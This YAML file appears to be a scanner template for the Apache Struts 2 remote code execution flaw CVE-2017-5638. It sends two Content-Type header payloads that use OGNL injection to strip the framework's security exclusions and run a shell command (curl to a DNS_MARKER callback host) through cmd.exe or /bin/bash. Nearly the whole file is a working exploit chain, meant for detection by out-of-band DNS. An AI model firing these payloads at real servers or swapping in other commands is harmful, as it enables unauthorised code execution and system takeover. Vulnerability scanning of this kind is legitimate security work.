CVE-2017–5638.yaml

send:
  - method: 'POST'
    url: '/'
    headers:
      - CONTENT-TYPE: "%{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBE\
      R_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl http://DNS_MARKER'))}"

  - method: 'POST'
    url: '/'
    headers:
      - CONTENT-TYPE: "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(\
        #_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionCo\
        ntext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil\
        @class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clea\
        r()).(#context.setMemberAccess(#dm)))).(#cmd='curl http://DNS_MARKER').(#iswin=(@java.lang.\
        System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c\
        ',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErro\
        rStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getRes\
        ponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),\
        #ros)).(#ros.flush())}"

detect:
  - oob:
    - dns
meta-info:
  - type: rce
  - threat: 100
  - applicable_for:
    - fast
    - scanner
  - tags: 
    - Remote Code Execution
    - CVE-2017–5638
    - Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1